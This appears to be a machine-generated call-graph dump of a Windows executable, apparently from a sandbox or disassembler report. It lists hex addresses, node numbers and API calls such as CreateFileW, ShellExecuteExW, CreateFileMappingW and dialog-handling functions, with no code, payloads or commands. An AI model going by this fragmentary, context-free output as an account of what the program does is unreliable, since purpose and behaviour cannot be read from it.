d813f9 29 API calls 28445->28448 28447 d871a6 28550 d82117 28447->28550 28450 d870ac 28448->28450 28451 d870ba 28450->28451 28452 d870bd CreateFileW 28450->28452 28451->28452 28454 d870db SetFilePointer 28452->28454 28455 d87186 CloseHandle 28452->28455 28454->28455 28456 d870ed ReadFile 28454->28456 28457 d71a66 26 API calls 28455->28457 28456->28455 28458 d87109 28456->28458 28459 d87199 28457->28459 28462 d8711a 28458->28462 28463 d873f2 28458->28463 28459->28442 28461 d714a7 28 API calls 28472 d871ba 28461->28472 28464 d714a7 28 API calls 28462->28464 28593 d95ce1 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess IsProcessorFeaturePresent 28463->28593 28471 d87133 28464->28471 28466 d871de CompareStringW 28466->28472 28468 d873f7 28470 d71a66 26 API calls 28470->28472 28473 d87176 28471->28473 28479 d86c5e 30 API calls 28471->28479 28588 d86366 28471->28588 28472->28461 28472->28466 28472->28470 28475 d7ed1f 49 API calls 28472->28475 28492 d87248 28472->28492 28554 d8067e 28472->28554 28559 d86c5e 28472->28559 28583 d8229d 28472->28583 28478 d71a66 26 API calls 28473->28478 28474 d87292 28476 d873bd 28474->28476 28477 d8729e 28474->28477 28475->28472 28481 d71a66 26 API calls 28476->28481 28592 d82187 45 API calls 28477->28592 28482 d8717e 28478->28482 28479->28471 28485 d873c5 28481->28485 28486 d71a66 26 API calls 28482->28486 28483 d714a7 28 API calls 28483->28492 28484 d872a7 28487 d8067e 6 API calls 28484->28487 28488 d71a66 26 API calls 28485->28488 28486->28455 28490 d872ac 28487->28490 28491 d873cd 28488->28491 28489 d8229d 45 API calls 28489->28492 28493 d87332 28490->28493 28494 d872b3 28490->28494 28495 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28491->28495 28492->28474 28492->28483 28492->28489 28496 d71a66 26 API calls 28492->28496 28502 d7ed1f 49 API calls 28492->28502 28498 d86a25 53 API calls 28493->28498 28497 d86c5e 30 API calls 28494->28497 28499 d873e8 28495->28499 28496->28492 28500 d872bd 28497->28500 28501 d8735b AllocConsole 28498->28501 28499->28344 28503 d86c5e 30 API calls 28500->28503 28504 d87368 GetCurrentProcessId AttachConsole 28501->28504 28516 d87310 28501->28516 28502->28492 28505 d872c7 28503->28505 28506 d87383 28504->28506 28507 d84318 53 API calls 28505->28507 28510 d8738c GetStdHandle WriteConsoleW Sleep FreeConsole 28506->28510 28509 d872ec 28507->28509 28508 d873b5 ExitProcess 28511 d86a25 53 API calls 28509->28511 28510->28516 28512 d872f6 28511->28512 28513 d84318 53 API calls 28512->28513 28514 d87307 28513->28514 28515 d714a7 28 API calls 28514->28515 28515->28516 28516->28508 28518 d86c5e 30 API calls 28517->28518 28519 d8f4e8 OleInitialize 28518->28519 28520 d8f50b GdiplusStartup SHGetMalloc 28519->28520 28520->28347 28522 d725a4 26 API calls 28521->28522 28523 d8f8a8 28522->28523 28524 d725a4 26 API calls 28523->28524 28525 d8f8b4 28524->28525 28526 d725a4 26 API calls 28525->28526 28527 d8f8c0 28526->28527 28528 d725a4 26 API calls 28527->28528 28529 d8f8cc 28528->28529 28530 d8f84c 28529->28530 28531 d71a66 26 API calls 28530->28531 28532 d8f857 28531->28532 28533 d71a66 26 API calls 28532->28533 28534 d8f85f 28533->28534 28535 d71a66 26 API calls 28534->28535 28536 d8f867 28535->28536 28538 d86d8d GetModuleHandleW 28537->28538 28538->28438 28538->28439 28540 d81405 __EH_prolog3 28539->28540 28541 d956f6 28 API calls 28540->28541 28543 d8140f 28541->28543 28542 d81431 GetModuleFileNameW 28542->28543 28544 d81463 28542->28544 28543->28542 28543->28544 28594 d71be3 28543->28594 28546 d714a7 28 API calls 28544->28546 28547 d8146c 28546->28547 28548 d8147f 28547->28548 28549 d712a7 26 API calls 28547->28549 28548->28447 28549->28548 28551 d82124 28550->28551 28552 d7769f 45 API calls 28551->28552 28553 d82136 28552->28553 28553->28472 28555 d806a4 GetVersionExW 28554->28555 28556 d806d1 28554->28556 28555->28556 28557 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28556->28557 28558 d806fa 28557->28558 28558->28472 28560 d86c6a __EH_prolog3_GS 28559->28560 28561 d956f6 28 API calls 28560->28561 28562 d86c77 28561->28562 28563 d86c8d GetSystemDirectoryW 28562->28563 28564 d86cab 28563->28564 28567 d86ca4 28563->28567 28565 d714a7 28 API calls 28564->28565 28568 d86ccd 28565->28568 28566 d86d71 28570 d95787 5 API calls 28566->28570 28567->28566 28569 d712a7 26 API calls 28567->28569 28571 d714a7 28 API calls 28568->28571 28569->28566 28572 d86d78 28570->28572 28573 d86cda 28571->28573 28572->28472 28599 d81ad1 28573->28599 28576 d71a66 26 API calls 28577 d86cf7 28576->28577 28578 d71a66 26 API calls 28577->28578 28579 d86cff LoadLibraryW 28578->28579 28579->28567 28581 d86d1c 28579->28581 28581->28567 28609 d719a9 26 API calls 28581->28609 28584 d822a6 28583->28584 28611 d8236c 28584->28611 28587->28445 28590 d86380 28588->28590 28589 d863b7 28589->28471 28590->28589 28591 d71b63 28 API calls 28590->28591 28591->28590 28592->28484 28593->28468 28595 d71c03 28594->28595 28596 d71bfb 28594->28596 28595->28596 28598 d71c33 28 API calls 28595->28598 28596->28543 28598->28596 28600 d81add __EH_prolog3_GS 28599->28600 28601 d77673 28 API calls 28600->28601 28602 d81aef 28601->28602 28604 d81b0c 28602->28604 28610 d80ddb 28 API calls 28602->28610 28605 d71a66 26 API calls 28604->28605 28606 d81b35 28605->28606 28607 d95787 5 API calls 28606->28607 28608 d81b3a 28607->28608 28608->28576 28609->28567 28610->28604 28612 d82378 28611->28612 28615 d8238e 28612->28615 28614 d822b6 28614->28472 28616 d824e5 28615->28616 28619 d823a4 28615->28619 28623 d758cb 45 API calls 28616->28623 28620 d823bc 28619->28620 28622 d80c7f 28 API calls 28619->28622 28620->28614 28622->28620 28625 d9eb9d _abort 28624->28625 28626 d9eba4 28625->28626 28627 d9ebb6 28625->28627 28660 d9eceb GetModuleHandleW 28626->28660 28648 da18e1 EnterCriticalSection 28627->28648 28630 d9eba9 28630->28627 28661 d9ed2f GetModuleHandleExW 28630->28661 28631 d9ec5b 28649 d9ec9b 28631->28649 28635 d9ec32 28639 d9ec4a 28635->28639 28643 d9f951 _abort 5 API calls 28635->28643 28637 d9ec78 28652 d9ecaa 28637->28652 28638 d9eca4 28670 da8fc0 5 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 28638->28670 28644 d9f951 _abort 5 API calls 28639->28644 28643->28639 28644->28631 28645 d9ebbd 28645->28631 28645->28635 28669 d9f6a0 20 API calls _abort 28645->28669 28648->28645 28671 da1931 LeaveCriticalSection 28649->28671 28651 d9ec74 28651->28637 28651->28638 28672 da1d26 28652->28672 28655 d9ecd8 28658 d9ed2f _abort 8 API calls 28655->28658 28656 d9ecb8 GetPEB 28656->28655 28657 d9ecc8 GetCurrentProcess TerminateProcess 28656->28657 28657->28655 28659 d9ece0 ExitProcess 28658->28659 28660->28630 28662 d9ed59 GetProcAddress 28661->28662 28663 d9ed7c 28661->28663 28664 d9ed6e 28662->28664 28665 d9ed8b 28663->28665 28666 d9ed82 FreeLibrary 28663->28666 28664->28663 28667 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28665->28667 28666->28665 28668 d9ebb5 28667->28668 28668->28627 28669->28635 28671->28651 28673 da1d4b 28672->28673 28674 da1d41 28672->28674 28679 da1948 5 API calls _abort 28673->28679 28676 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28674->28676 28677 d9ecb4 28676->28677 28677->28655 28677->28656 28678 da1d62 28678->28674 28679->28678 28680 d71125 28685 d776e7 28680->28685 28682 d7112a 28693 d96029 29 API calls 28682->28693 28684 d71134 28686 d776f3 __EH_prolog3 28685->28686 28694 d80aaf GetCurrentProcess GetProcessAffinityMask 28686->28694 28688 d776fd 28695 d84f2b 28 API calls __EH_prolog3 28688->28695 28690 d77874 28696 d77cba GetCurrentProcess GetProcessAffinityMask 28690->28696 28692 d77891 28692->28682 28693->28684 28694->28688 28695->28690 28696->28692 28697 d94b8a 28698 d94b33 28697->28698 28698->28697 28699 d94fce ___delayLoadHelper2@8 17 API calls 28698->28699 28699->28698 28700 d95680 28701 d95696 _com_error::_com_error 28700->28701 28702 d9734a std::_Xinvalid_argument RaiseException 28701->28702 28703 d956a4 28702->28703 28704 d94fce ___delayLoadHelper2@8 17 API calls 28703->28704 28705 d956bc 28704->28705 28706 d90900 28707 d9090f __EH_prolog3_catch_GS 28706->28707 28952 d71e44 28707->28952 28710 d9125b 29058 d93796 28710->29058 28711 d90940 28714 d90951 28711->28714 28715 d90a20 28711->28715 28761 d9095f 28711->28761 28718 d9095a 28714->28718 28719 d909fc 28714->28719 28720 d90ab0 28715->28720 28727 d90a36 28715->28727 28729 d84318 53 API calls 28718->28729 28718->28761 28726 d90a15 EndDialog 28719->28726 28719->28761 28962 d71ce2 28720->28962 28721 d9127b SendMessageW 28722 d9128a 28721->28722 28723 d912a3 GetDlgItem SendMessageW 28722->28723 28724 d91293 SendDlgItemMessageW 28722->28724 28728 d81309 30 API calls 28723->28728 28724->28723 28726->28761 28731 d84318 53 API calls 28727->28731 28732 d912e3 GetDlgItem 28728->28732 28733 d9098d 28729->28733 28734 d90a53 SetDlgItemTextW 28731->28734 28735 d91302 28732->28735 29105 d71900 29 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 28733->29105 28738 d90a5f 28734->28738 29077 d71e05 28735->29077 28737 d90b01 GetDlgItem 28739 d90b38 SetFocus 28737->28739 28740 d90b15 SendMessageW SendMessageW 28737->28740 28744 d90a68 GetMessageW 28738->28744 28738->28761 28745 d90b48 28739->28745 28746 d90b6f 28739->28746 28740->28739 28742 d90994 28748 d909a4 28742->28748 28754 d71de7 SetDlgItemTextW 28742->28754 28749 d90a7f IsDialogMessageW 28744->28749 28744->28761 28751 d84318 53 API calls 28745->28751 28753 d77673 28 API calls 28746->28753 28747 d9130c 29080 d8f2ce GetClassNameW 28747->29080 28748->28761 29106 d719a9 26 API calls 28748->29106 28749->28738 28755 d90a8e TranslateMessage DispatchMessageW 28749->28755 28750 d9113a 28756 d84318 53 API calls 28750->28756 28757 d90b52 28751->28757 28760 d90b7b 28753->28760 28754->28748 28755->28738 28762 d9114b SetDlgItemTextW 28756->28762 28763 d714a7 28 API calls 28757->28763 28758 d71a66 26 API calls 28758->28761 29124 d934eb 28 API calls __EH_prolog3_GS 28760->29124 29107 d95796 28761->29107 28767 d91160 28762->28767 28768 d90b5b 28763->28768 28773 d84318 53 API calls 28767->28773 29110 d93572 28768->29110 28770 d90b88 28772 d84318 53 API calls 28770->28772 28777 d90b9f 28772->28777 28779 d9117e 28773->28779 28774 d90b6a 28782 d71a66 26 API calls 28774->28782 28775 d91346 28778 d91377 28775->28778 28781 d84318 53 API calls 28775->28781 28776 d91d4f 48 API calls 28776->28775 28780 d86a25 53 API calls 28777->28780 28787 d91d4f 48 API calls 28778->28787 28856 d91490 28778->28856 28783 d714a7 28 API calls 28779->28783 28785 d90ba9 28780->28785 28786 d91359 SetDlgItemTextW 28781->28786 28788 d90bce 28782->28788 28789 d91187 28783->28789 28784 d91595 28795 d915ad 28784->28795 28796 d915a0 EnableWindow 28784->28796 28790 d93572 21 API calls 28785->28790 28791 d84318 53 API calls 28786->28791 28792 d9138d 28787->28792 28793 d90be0 28788->28793 29125 d93d64 26 API calls __EH_prolog3_GS 28788->29125 28794 d911f5 28789->28794 28806 d714a7 28 API calls 28789->28806 28797 d90bbb 28790->28797 28798 d9136d SetDlgItemTextW 28791->28798 28813 d913ad 28792->28813 28833 d913ce 28792->28833 28801 d90c07 28793->28801 28808 d7ed0d 49 API calls 28793->28808 28800 d84318 53 API calls 28794->28800 28802 d915c8 28795->28802 29142 d71cc4 GetDlgItem KiUserCallbackDispatcher 28795->29142 28796->28795 28804 d71a66 26 API calls 28797->28804 28798->28778 28805 d911ff 28800->28805 28976 d7eaf3 28801->28976 28812 d915f0 28802->28812 28830 d915e8 SendMessageW 28802->28830 28804->28774 28814 d714a7 28 API calls 28805->28814 28815 d911a6 28806->28815 28807 d91d4f 48 API calls 28807->28856 28818 d90bfd 28808->28818 28810 d91560 29141 d8e265 34 API calls __EH_prolog3_GS 28810->29141 28816 d90ae4 28812->28816 28825 d84318 53 API calls 28812->28825 29139 d8e265 34 API calls __EH_prolog3_GS 28813->29139 28822 d9120b 28814->28822 28817 d84318 53 API calls 28815->28817 28816->28758 28851 d911b6 28817->28851 28818->28801 28826 d90c01 28818->28826 28819 d90c20 GetLastError 28820 d90c2b 28819->28820 28986 d82226 28820->28986 28836 d714a7 28 API calls 28822->28836 28823 d915bf 29143 d71cc4 GetDlgItem KiUserCallbackDispatcher 28823->29143 28831 d91609 SetDlgItemTextW 28825->28831 29126 d8fa79 25 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 28826->29126 28830->28812 28831->28816 28838 d91d4f 48 API calls 28833->28838 28878 d9147c 28833->28878 28834 d90c40 28839 d90c4c GetLastError 28834->28839 28840 d90c5d 28834->28840 28835 d91587 28841 d71a66 26 API calls 28835->28841 28842 d91224 28836->28842 28837 d714a7 28 API calls 28837->28856 28843 d91405 28838->28843 28839->28840 28846 d90d0f 28840->28846 28849 d90c79 GetTickCount 28840->28849 28912 d90cfd 28840->28912 28844 d91593 28841->28844 28854 d71a66 26 API calls 28842->28854 28848 d9140e DialogBoxParamW 28843->28848 28843->28878 28844->28784 28845 d84318 53 API calls 28845->28856 28850 d90f94 28846->28850 28857 d813f9 29 API calls 28846->28857 28847 d91046 29021 d71e1f GetDlgItem ShowWindow 28847->29021 28852 d9142c EndDialog 28848->28852 28848->28878 28989 d7325c 28849->28989 28863 d90acb EndDialog 28850->28863 29137 d79733 28 API calls _wcslen 28850->29137 28858 d71a66 26 API calls 28851->28858 28852->28761 28859 d91448 28852->28859 28861 d91243 28854->28861 28856->28784 28856->28810 28856->28837 28856->28845 28887 d71a66 26 API calls 28856->28887 28865 d90d39 28857->28865 28866 d911e9 28858->28866 28859->28761 29140 d719a9 26 API calls 28859->29140 28868 d71a66 26 API calls 28861->28868 28862 d9105b 29022 d71e1f GetDlgItem ShowWindow 28862->29022 28863->28816 29127 d8505a 114 API calls 28865->29127 28872 d71a66 26 API calls 28866->28872 28875 d9124e 28868->28875 28870 d90fae 28882 d84318 53 API calls 28870->28882 28872->28794 28874 d90c9f 28879 d71a66 26 API calls 28874->28879 28880 d71a66 26 API calls 28875->28880 28876 d91064 28881 d84318 53 API calls 28876->28881 28877 d90d51 28888 d86a25 53 API calls 28877->28888 28878->28807 28883 d90cab 28879->28883 28880->28816 28884 d9106e SetDlgItemTextW 28881->28884 28885 d90fd4 28882->28885 28999 d7de9a 28883->28999 29023 d71e1f GetDlgItem ShowWindow 28884->29023 28894 d71a66 26 API calls 28885->28894 28887->28856 28902 d90d80 GetCommandLineW 28888->28902 28889 d91082 SetDlgItemTextW GetDlgItem 28891 d9109f GetWindowLongW SetWindowLongW 28889->28891 28892 d910b7 28889->28892 28891->28892 29024 d91d4f 28892->29024 28897 d90fea 28894->28897 28901 d71a66 26 API calls 28897->28901 28898 d90cd5 GetLastError 28899 d90ce0 28898->28899 29012 d7ddc7 28899->29012 28900 d91d4f 48 API calls 28906 d910ce 28900->28906 28907 d90ff6 28901->28907 28910 d90e05 _wcslen 28902->28910 29044 d93c78 28906->29044 28916 d84318 53 API calls 28907->28916 28908 d71a66 26 API calls 28908->28912 29128 d90405 5 API calls 2 library calls 28910->29128 28912->28846 28912->28847 28914 d90e23 29129 d90405 5 API calls 2 library calls 28914->29129 28915 d91d4f 48 API calls 28927 d910ef 28915->28927 28918 d9100c 28916->28918 28922 d714a7 28 API calls 28918->28922 28919 d90e2f 29130 d90405 5 API calls 2 library calls 28919->29130 28921 d91110 29138 d71cc4 GetDlgItem KiUserCallbackDispatcher 28921->29138 28925 d91015 28922->28925 28923 d90e3b 29131 d85109 114 API calls 28923->29131 28932 d71a66 26 API calls 28925->28932 28927->28921 28930 d91d4f 48 API calls 28927->28930 28928 d90af5 28928->28750 28928->28863 28929 d90e4e 29132 d93e53 28 API calls __EH_prolog3 28929->29132 28930->28921 28934 d91031 28932->28934 28933 d90e6b CreateFileMappingW 28935 d90e9d MapViewOfFile 28933->28935 28936 d90ed5 ShellExecuteExW 28933->28936 28937 d71a66 26 API calls 28934->28937 28938 d90ed2 __InternalCxxFrameHandler 28935->28938 28939 d90ef3 28936->28939 28937->28863 28938->28936 28940 d90f3d 28939->28940 28941 d90f00 WaitForInputIdle 28939->28941 28944 d90f60 UnmapViewOfFile CloseHandle 28940->28944 28945 d90f73 28940->28945 28942 d90f1e 28941->28942 28942->28940 28943 d90f23 Sleep 28942->28943 28943->28940 28943->28942 28944->28945 29133 d72e8b 28945->29133 28948 d71a66 26 API calls 28949 d90f83 28948->28949 28950 d71a66 26 API calls 28949->28950 28951 d90f8e 28950->28951 28951->28850 28953 d71ea6 28952->28953 28954 d71e4d 28952->28954 29145 d83e83 GetWindowLongW SetWindowLongW 28953->29145 28955 d71eb3 28954->28955 29144 d83eaa 64 API calls 3 library calls 28954->29144 28955->28710 28955->28711 28955->28761 28958 d71e6f 28958->28955 28959 d71e82 GetDlgItem 28958->28959 28959->28955 28960 d71e92 28959->28960 28960->28955 28961 d71e98 SetWindowTextW 28960->28961 28961->28955 29146 d957d8 28962->29146 28964 d71cee GetDlgItem 28965 d71d1d 28964->28965 28966 d71d0b 28964->28966 29147 d71d64 28965->29147 28967 d714a7 28 API calls 28966->28967 28969 d71d18 28967->28969 28970 d71d4d 28969->28970 28971 d71a66 26 API calls 28969->28971 28972 d71d5a 28970->28972 28973 d71a66 26 API calls 28970->28973 28971->28970 28974 d95787 5 API calls 28972->28974 28973->28972 28975 d71d61 28974->28975 28975->28737 28975->28863 28975->28928 28983 d7eaff __EH_prolog3_GS 28976->28983 28977 d95787 5 API calls 28978 d7ebb6 28977->28978 28978->28819 28978->28820 28979 d7eb84 28980 d7efef 54 API calls 28979->28980 28982 d7eb09 28979->28982 28980->28982 28981 d7769f 45 API calls 28981->28983 28982->28977 28983->28979 28983->28981 28983->28982 28985 d71a66 26 API calls 28983->28985 29160 d7efef 28983->29160 28985->28983 28987 d82230 28986->28987 28988 d82232 SetCurrentDirectoryW 28986->28988 28987->28988 28988->28834 28990 d73280 28989->28990 29194 d72f0f 28990->29194 28993 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 28994 d7329d 28993->28994 28995 d72f45 28994->28995 28996 d72f55 _wcslen 28995->28996 29198 d75962 28996->29198 28998 d72f63 28998->28874 29000 d7dea6 __EH_prolog3_GS 28999->29000 29001 d7def4 29000->29001 29002 d7df09 CreateFileW 29000->29002 29003 d8169a 47 API calls 29001->29003 29010 d7df9e 29001->29010 29002->29001 29004 d7df49 29003->29004 29006 d7df6e 29004->29006 29008 d7df56 29004->29008 29009 d7df59 CreateFileW 29004->29009 29005 d95787 5 API calls 29007 d7dfdf 29005->29007 29006->29010 29207 d719a9 26 API calls 29006->29207 29007->28898 29007->28899 29008->29009 29009->29006 29010->29005 29013 d7de09 29012->29013 29014 d7ddf8 29012->29014 29015 d71a66 26 API calls 29013->29015 29014->29013 29016 d7de04 29014->29016 29017 d7de0b 29014->29017 29018 d7de18 29015->29018 29208 d7dfe2 29016->29208 29213 d7de50 29017->29213 29018->28908 29021->28862 29022->28876 29023->28889 29033 d91d5e __EH_prolog3_GS 29024->29033 29026 d9349a 29027 d71a66 26 API calls 29026->29027 29028 d934a5 29027->29028 29029 d95787 5 API calls 29028->29029 29030 d910c5 29029->29030 29030->28900 29031 d8645a 28 API calls 29031->29033 29032 d7769f 45 API calls 29032->29033 29033->29026 29033->29031 29033->29032 29034 d725a4 26 API calls 29033->29034 29035 d714a7 28 API calls 29033->29035 29039 d934ad 29033->29039 29042 d71a66 26 API calls 29033->29042 29234 d9030a 29033->29234 29238 d862cd 30 API calls 2 library calls 29033->29238 29239 d8f5b2 28 API calls 29033->29239 29240 d7adaa CompareStringW 29033->29240 29241 d944c0 26 API calls 29033->29241 29034->29033 29035->29033 29242 d758cb 45 API calls 29039->29242 29042->29033 29045 d93c87 __EH_prolog3_catch_GS _wcslen 29044->29045 29248 d86a89 29045->29248 29047 d93cba 29252 d77903 29047->29252 29056 d95796 5 API calls 29057 d910e0 29056->29057 29057->28915 30069 d8eaa6 29058->30069 29061 d93885 29064 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29061->29064 29062 d937bf GetWindow 29062->29061 29063 d937d8 29062->29063 29063->29061 29066 d937e5 GetClassNameW 29063->29066 29068 d93809 GetWindowLongW 29063->29068 29069 d9386d GetWindow 29063->29069 29065 d91266 29064->29065 29065->28721 29065->28722 30074 d88da4 CompareStringW 29066->30074 29068->29069 29070 d93819 SendMessageW 29068->29070 29069->29061 29069->29063 29070->29069 29071 d9382f GetObjectW 29070->29071 30075 d8eae5 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 29071->30075 29073 d93846 30076 d8eac4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 29073->30076 30077 d8ef21 13 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29073->30077 29076 d93857 SendMessageW DeleteObject 29076->29069 29078 d71e11 SetWindowTextW 29077->29078 29079 d71e0f 29077->29079 29078->28747 29079->29078 29081 d8f2f9 29080->29081 29082 d8f31e 29080->29082 30080 d88da4 CompareStringW 29081->30080 29083 d8f32c 29082->29083 29084 d8f323 SHAutoComplete 29082->29084 29086 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29083->29086 29084->29083 29088 d8f337 29086->29088 29087 d8f30c 29087->29082 29089 d8f310 FindWindowExW 29087->29089 29090 d8fdd1 29088->29090 29089->29082 29091 d8fded 29090->29091 29092 d720b0 30 API calls 29091->29092 29093 d8fe27 29092->29093 30081 d72dbb 29093->30081 29096 d8fe4c 30088 d7278b 29096->30088 29097 d8fe43 29098 d7232c 123 API calls 29097->29098 29100 d8fe48 29098->29100 29103 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29100->29103 29102 d7232c 123 API calls 29102->29100 29104 d8fe77 29103->29104 29104->28775 29104->28776 29105->28742 29106->28761 29108 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29107->29108 29109 d957a0 29108->29109 29109->29109 29111 d90678 5 API calls 29110->29111 29112 d9358d GetDlgItem 29111->29112 29113 d935ac 29112->29113 29114 d935e4 SendMessageW SendMessageW 29112->29114 29117 d935b7 ShowWindow SendMessageW SendMessageW 29113->29117 29115 d93643 SendMessageW 29114->29115 29116 d93624 29114->29116 29118 d9365b 29115->29118 29119 d9365d SendMessageW SendMessageW 29115->29119 29116->29115 29117->29114 29118->29119 29120 d9367f SendMessageW 29119->29120 29121 d936a2 SendMessageW 29119->29121 29120->29121 29122 d95734 __ehhandler$___std_fs_get_file_attributes_by_handle@8 5 API calls 29121->29122 29123 d936c0 29122->29123 29123->28774 29124->28770 29125->28793 29126->28801 29127->28877 29128->28914 29129->28919 29130->28923 29131->28929 29132->28933 29134 d72e93 29133->29134 29135 d72ea0 29133->29135 29136 d712a7 26 API calls 29134->29136 29135->28948 29136->29135 29137->28870 29138->28928 29139->28833 29140->28878 29141->28835 29142->28823 29143->28802 29144->28958 29145->28955 29146->28964 29158 d957d8 29147->29158 29149 d71d70 GetWindowTextLengthW 29159 d71bbd 28 API calls 29149->29159 29151 d71dab GetWindowTextW 29152 d714a7 28 API calls 29151->29152 29153 d71dca 29152->29153 29154 d71ddd 29153->29154 29155 d712a7 26 API calls 29153->29155 29156 d95787 5 API calls 29154->29156 29155->29154 29157 d71de4 29156->29157 29157->28969 29158->29149 29159->29151 29163 d7effb __EH_prolog3_GS 29160->29163 29161 d7f02f 29164 d7ed0d 49 API calls 29161->29164 29162 d7f01b CreateDirectoryW 29162->29161 29165 d7f0d0 29162->29165 29163->29161 29163->29162 29166 d7f03b 29164->29166 29167 d7f0df 29165->29167 29179 d7f58b 29165->29179 29168 d7f0e3 GetLastError 29166->29168 29170 d8169a 47 API calls 29166->29170 29171 d95787 5 API calls 29167->29171 29168->29167 29172 d7f063 29170->29172 29173 d7f100 29171->29173 29174 d7f073 CreateDirectoryW 29172->29174 29175 d7f070 29172->29175 29176 d7f07d 29172->29176 29173->28983 29174->29176 29175->29174 29178 d7f0ad 29176->29178 29192 d719a9 26 API calls 29176->29192 29178->29165 29178->29168 29180 d7f597 __EH_prolog3_GS 29179->29180 29181 d7f5a4 SetFileAttributesW 29180->29181 29182 d7f5b7 29181->29182 29190 d7f622 29181->29190 29184 d8169a 47 API calls 29182->29184 29183 d95787 5 API calls 29185 d7f638 29183->29185 29186 d7f5d7 29184->29186 29185->29167 29187 d7f5f6 29186->29187 29188 d7f5e7 SetFileAttributesW 29186->29188 29189 d7f5e4 29186->29189 29187->29190 29193 d719a9 26 API calls 29187->29193 29188->29187 29189->29188 29190->29183 29192->29178 29193->29190 29195 d72f26 29194->29195 29196 d72f2f 29194->29196 29195->28993 29197 d7120c 28 API calls 29196->29197 29197->29195 29199 d75975 29198->29199 29200 d75a3a 29198->29200 29204 d75987 29199->29204 29205 d73029 28 API calls 29199->29205 29206 d758cb 45 API calls 29200->29206 29204->28998 29205->29204 29207->29010 29209 d7e015 29208->29209 29210 d7dfeb 29208->29210 29209->29013 29210->29209 29219 d7ec63 29210->29219 29214 d7de5c 29213->29214 29215 d7de76 29213->29215 29214->29215 29217 d7de68 CloseHandle 29214->29217 29216 d7de95 29215->29216 29233 d7925b 109 API calls 29215->29233 29216->29013 29217->29215 29220 d7ec6f __EH_prolog3_GS 29219->29220 29221 d7ec7c DeleteFileW 29220->29221 29222 d7ec8c 29221->29222 29230 d7ecf4 29221->29230 29224 d8169a 47 API calls 29222->29224 29223 d95787 5 API calls 29226 d7e013 29223->29226 29225 d7ecac 29224->29225 29227 d7ecc8 29225->29227 29228 d7ecbc DeleteFileW 29225->29228 29229 d7ecb9 29225->29229 29226->29013 29227->29230 29232 d719a9 26 API calls 29227->29232 29228->29227 29229->29228 29230->29223 29232->29230 29233->29216 29235 d9031d 29234->29235 29236 d90324 29234->29236 29235->29033 29236->29235 29243 d71b63 29236->29243 29238->29033 29239->29033 29240->29033 29241->29033 29244 d71b6f 29243->29244 29245 d71b8e 29243->29245 29244->29236 29247 d713f7 28 API calls 29245->29247 29247->29244 29249 d86a99 _wcslen 29248->29249 29250 d71be3 28 API calls 29249->29250 29251 d86abb 29250->29251 29251->29047 29253 d86a74 29252->29253 29254 d86a89 28 API calls 29253->29254 29255 d86a86 29254->29255 29256 d7b03d 29255->29256 29257 d7b049 __EH_prolog3_GS 29256->29257 29303 d82815 29257->29303 29259 d7b092 29309 d7b231 29259->29309 29262 d71a66 26 API calls 29263 d7b120 29262->29263 29264 d71a66 26 API calls 29263->29264 29265 d7b128 29264->29265 29266 d956f6 28 API calls 29265->29266 29267 d7b13f 29266->29267 29314 d8a599 29267->29314 29269 d7b172 29270 d95787 5 API calls 29269->29270 29271 d7b179 29270->29271 29272 d7b3e1 29271->29272 29273 d7b3ed __EH_prolog3_GS 29272->29273 29274 d7b478 29273->29274 29277 d7b484 29273->29277 29354 d7f711 29273->29354 29275 d71a66 26 API calls 29274->29275 29275->29277 29282 d7b4e0 29277->29282 29321 d7bc65 29277->29321 29278 d7b529 29279 d95787 5 API calls 29278->29279 29281 d7b543 29279->29281 29284 d7b194 29281->29284 29282->29278 29361 d7204b 89 API calls __ehhandler$___std_fs_get_file_attributes_by_handle@8 29282->29361 30013 d7d6bc 29284->30013 29288 d71a66 26 API calls 29289 d7b1e8 29288->29289 29291 d71a66 26 API calls 29289->29291 29290 d7b1d0 29290->29288 29292 d7b1f3 29291->29292 29293 d71a66 26 API calls 29292->29293 29294 d7b1fe 29293->29294 30027 d828aa 29294->30027 29296 d7b206 29297 d71a66 26 API calls 29296->29297 29298 d7b20e 29297->29298 29299 d71a66 26 API calls 29298->29299 29300 d7b216 29299->29300 29301 d7d869 26 API calls 29300->29301 29302 d7b21d 29301->29302 29302->29056 29304 d82821 __EH_prolog3 29303->29304 29305 d956f6 28 API calls 29304->29305 29306 d8285f 29305->29306 29307 d956f6 28 API calls 29306->29307 29308 d82883 29307->29308 29308->29259 29310 d725a4 26 API calls 29309->29310 29311 d7b23f 29310->29311 29312 d725a4 26 API calls 29311->29312 29313 d7b118 29312->29313 29313->29262 29315 d8a5a5 __EH_prolog3 29314->29315 29316 d956f6 28 API calls 29315->29316 29317 d8a5bf 29316->29317 29318 d8a5d6 29317->29318 29320 d87445 112 API calls 29317->29320 29318->29269 29320->29318 29322 d7bc80 29321->29322 29362 d720b0 29322->29362 29324 d7bca7 29325 d7bcba 29324->29325 29584 d7e910 29324->29584 29330 d7bcec 29325->29330 29372 d727e0 29325->29372 29328 d7bce8 29328->29330 29396 d72d41 160 API calls __EH_prolog3_GS 29328->29396 29561 d7232c 29330->29561 29335 d7bd14 29336 d7be08 29335->29336 29337 d77673 28 API calls 29335->29337 29397 d7bec2 7 API calls 29336->29397 29339 d7bd36 29337->29339 29588 d81e54 46 API calls 2 library calls 29339->29588 29341 d7f711 53 API calls 29342 d7bd53 29341->29342 29342->29341 29345 d7bde8 29342->29345 29347 d71a66 26 API calls 29342->29347 29589 d81e54 46 API calls 2 library calls 29342->29589 29343 d7be16 29352 d7be76 29343->29352 29398 d8864f 29343->29398 29348 d71a66 26 API calls 29345->29348 29347->29342 29350 d7bded 29348->29350 29351 d71a66 26 API calls 29350->29351 29351->29336 29352->29330 29401 d752d8 